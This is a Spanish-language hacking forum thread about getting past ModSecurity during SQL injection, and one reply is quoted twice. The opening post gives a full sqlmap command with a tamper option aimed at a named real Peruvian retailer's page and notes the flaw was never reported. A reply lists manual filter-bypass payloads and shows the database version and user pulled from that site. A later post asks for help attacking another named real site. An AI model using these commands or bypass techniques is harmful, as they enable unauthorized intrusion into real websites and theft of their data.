Evadir Mod_Security con Tampers de SQLMAP

Iniciado por rreedd, Marzo 06, 2016, 05:00:43 PM

Tema anterior - Siguiente tema

0 Miembros y 3 Visitantes están viendo este tema.

RREEDD
Hola !!
como a todos nos habrá pasado alguna vez que intentas hacer una inyección por GET en una pagina y aparece
aparece el famoso anuncio de Mod_Security que no deja inyectar.




Pero si creíste que con eso se acababa el juego estas muy equivocado, siempre estará SQLMAP al rescate con sus 47 Tampers (que son los que vienen por defecto en la ultima versión ) los cuales te sacaran de mas de un apuro   ;).

Para este ejemplo usaremos "modsecurityversioned.py" (el cual solo funciona con MySQL).


Si quieres mas información sobre cada uno tienes que ir a sqlmap/tamper/,   donde encontraras todos los disponibles y dentro de cada archivo existe una explicación de su funcionalidad

Para usar un Tamper en SQLMAP es muy simple solo se le debe agregar la opción
Código: php
 --tamper [nombre del tamper]


El ejemplo de inyección lo haremos con una pagina Peruana de venta de artículos electrónicos (espero no les moleste) ;D .

URL :No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Herramienta : SQLMAP  Tamper : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Xploit :
Código: php
sqlmap.py -u "https://impulso.com.pe/detalle_marca.php?marca_id=24&cat_id=5" --dbms "MySQL"  -p "marca_id" --tamper "modsecurityzeroversioned.py" --batch 


RESULTADO

REPORTADO : NO


Saludos desde Chile

Marzo 11, 2016, 01:33:42 AM #1 Ultima modificación: Marzo 11, 2016, 01:39:02 AM por WHK
No es tan dificil evadir el mod security, solo basta un poco de imaginación, finalmente el mod security se basa en una blacklist sobre expreisones regulares, no es algo 100% fiable.

Por ejemplo:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Código: php
<img width="365" height="64" src="images/categoria/5.5.42-37.1-log">


MySQL 5.5.42

El mod security te detecta todo lo que tenga "union select" y sus derivados como union all select, union/**/all/**/select o union%0a%0cselect, pero basta con quebrar la consulta uniendo comentarios mas saltos de linea: union -- %0a%0c select y listo, el motor interpretador de la base de datos interpretará union\nselect. Fuera de esto también te detecta select 1,1, pero no te detecta select '1','1'. Detecta ...'1',user(),'1'... pero no detecta ...'1',(user()),'1'... , por ejemplo:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Código: php
<img width="365" height="64" src="images/categoria/micronic_base@localhost">

micronic_base@localhost

Finalmente datos que te pueden servir para leer el usuario y contraseña o hash de acceso para paginas como esta:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Por esto por lo general prefiero no utilizar sqlmap porque en muchos caso te encuentras con mucha ofuscación, si no es el mod security es el waf, el firewall o el ids, vas sacando las inyecciones en el camino y vas sorteando los filtros a medida que van apareciendo.

Al final la persona siempre será mas hábil que una maquina, por eso no me gusta dejarle el trabajo a un software.
- No tienes permitido ver los links. Registrarse o Entrar a mi cuenta - No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No es tan dificil evadir el mod security, solo basta un poco de imaginación, finalmente el mod security se basa en una blacklist sobre expreisones regulares, no es algo 100% fiable.

Por ejemplo:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Código: php
<img width="365" height="64" src="images/categoria/5.5.42-37.1-log">


MySQL 5.5.42

El mod security te detecta todo lo que tenga "union select" y sus derivados como union all select, union/**/all/**/select o union%0a%0cselect, pero basta con quebrar la consulta uniendo comentarios mas saltos de linea: union -- %0a%0c select y listo, el motor interpretador de la base de datos interpretará union\nselect. Fuera de esto también te detecta select 1,1, pero no te detecta select '1','1'. Detecta ...'1',user(),'1'... pero no detecta ...'1',(user()),'1'... , por ejemplo:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Código: php
<img width="365" height="64" src="images/categoria/micronic_base@localhost">

micronic_base@localhost

Finalmente datos que te pueden servir para leer el usuario y contraseña o hash de acceso para paginas como esta:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Por esto por lo general prefiero no utilizar sqlmap porque en muchos caso te encuentras con mucha ofuscación, si no es el mod security es el waf, el firewall o el ids, vas sacando las inyecciones en el camino y vas sorteando los filtros a medida que van apareciendo.

Al final la persona siempre será mas hábil que una maquina, por eso no me gusta dejarle el trabajo a un software.

Gracias @WHK por comenta y ahora lo hice sin SQLMAP de forma manual No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

¿Alguien me podria ayudar en una pagina? intento inyectarla con php pero me sale " ¡Acceso prohibido!

Usted no tiene permiso de accesar al objeto solicitado. Existe la posibilidad de que este protegido contra lectura o que no haya podido ser leido por el servidor.

Por favor contacte con el webmaster en caso de que usted crea que existe un error en el servidor.

Error 403

tantra-origin.com
20/10/2016 7:47:54
Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1"


Quiero las tablas de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta pero no se con que herramienta, lo intente con el sqlmap pero me daba errores

Saludos, gracias!

Hola, eso sucede porque ese sitio tiene un sistema de seguridad que impide hacer inyecciones sql, no se si alguna herramienta te sirva, pero mi consejo es que aprendas sql y que trates de sacar la inyección a mano.
- No tienes permitido ver los links. Registrarse o Entrar a mi cuenta - No tienes permitido ver los links. Registrarse o Entrar a mi cuenta